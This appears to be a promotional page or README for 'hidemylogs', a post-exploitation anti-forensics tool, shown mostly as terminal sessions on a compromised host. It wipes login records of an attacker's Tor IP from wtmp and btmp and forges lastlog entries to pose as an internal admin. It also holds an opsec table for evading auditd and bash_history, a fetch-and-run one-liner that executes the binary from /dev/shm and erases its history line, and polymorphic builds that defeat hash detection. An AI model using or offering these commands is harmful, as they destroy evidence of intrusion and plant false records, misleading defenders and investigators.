root@target:~# ./hidemylogs wipe -a 185.220.101.34 -s uwb --dry-run[DRY RUN] No files will be modified.[DRY] Would wipe: root pts/0 185.220.101.34 03:47
[DRY] Would wipe: implant pts/7 185.220.101.34 04:01
[DRY] Would wipe: root ssh:notty 185.220.101.34 03:41 (x3 btmp)
[DRY] Would wipe: admin ssh:notty 185.220.101.34 03:43 (x2 btmp)
[+] 7 record(s) would be wipedroot@target:~# ./hidemylogs wipe -a 185.220.101.34 -s uwb[+] 5 record(s) wiped from wtmp[+] 2 record(s) wiped from btmp[*] Total: 7 record(s) wiped
forge - plant false evidence
operator@c2 - forge
root@target:~# ./hidemylogs forge --uid 0 -t "2026-03-15 09:30:00" --line pts/0 --host 10.0.1.50[+] Forged lastlog for UID 0: pts/0 from 10.0.1.50 at 2026-03-15 09:30:00Before: root last login from 185.220.101.34 at 03:47 (Tor exit node)After: root last login from 10.0.1.50 at 09:30 (internal admin IP)
verify - confirm clean state
operator@c2 - verify
root@target:~# last | head -5admin pts/2 10.0.1.101 Thu Mar 27 14:22 still logged indev pts/3 10.0.1.102 Wed Mar 26 08:45 - 12:30 (03:45) <-- no trace of 185.220.101.34root@target:~# lastlog | grep rootroot pts/0 10.0.1.50 Sat Mar 15 09:30:00 2026 <-- forged, looks normalroot@target:~# lastb | headbtmp begins Thu Mar 27 00:00:00 2026 <-- brute force attempts gone
supported targets
utmp
Current sessions. Read by who, w.
wtmp
Login/logout history. Read by last.
btmp
Failed login attempts. Read by lastb.
lastlog
Last login per UID. Read by lastlog. Supports wipe + forge.
opsec notes
Vector
Shell script
hidemylogs (binary)
.bash_history
Every command logged
Single execve
auditd
Multiple syscalls per op
Direct read/write/lseek
ps / proc
Interpreter visible
Binary name only
Disk artifacts
.py/.sh persists
Run from /dev/shm, delete
Dependencies
Python/Bash required
musl static, zero deps
File timestamps
mtime changes
atime+mtime restored
deploy - opsec one-liner
operator@c2 - deploy
# Standard musl build (prefix space = not saved in bash_history)$ f=$(head -c6 /dev/urandom|xxd -p);curl -sL https://github.com/franckferman/hidemylogs/releases/latest/download/hidemylogs-linux-x86_64-musl -o /dev/shm/$f;chmod +x /dev/shm/$f;/dev/shm/$f print;rm -f /dev/shm/$f;unset f;history -d $(history 1|awk '{print $1}')# Polymorphic build (unique hash per release)$ f=$(head -c6 /dev/urandom|xxd -p);curl -sL https://github.com/franckferman/hidemylogs/releases/latest/download/hidemylogs-linux-x86_64-musl-poly -o /dev/shm/$f;chmod +x /dev/shm/$f;/dev/shm/$f print;rm -f /dev/shm/$f;unset f;history -d $(history 1|awk '{print $1}')# What this does:# 1. Generate random 12-char hex name# 2. Download musl binary to /dev/shm (tmpfs, not on disk)# 3. Execute# 4. Delete binary + unset variable# 5. No file on disk, random process name in /proc
polymorphic build
operator@c2 - build
# Each build produces a unique hash (different .rodata strings)$ make poly[+] Polymorphic build prepared Build ID: a7f3c9e1b2d4...[+] Polymorphic build complete sha256: b09f893b3483d3a9...$ make poly[+] Polymorphic build complete sha256: 0746f368f053a464...<-- different hash every build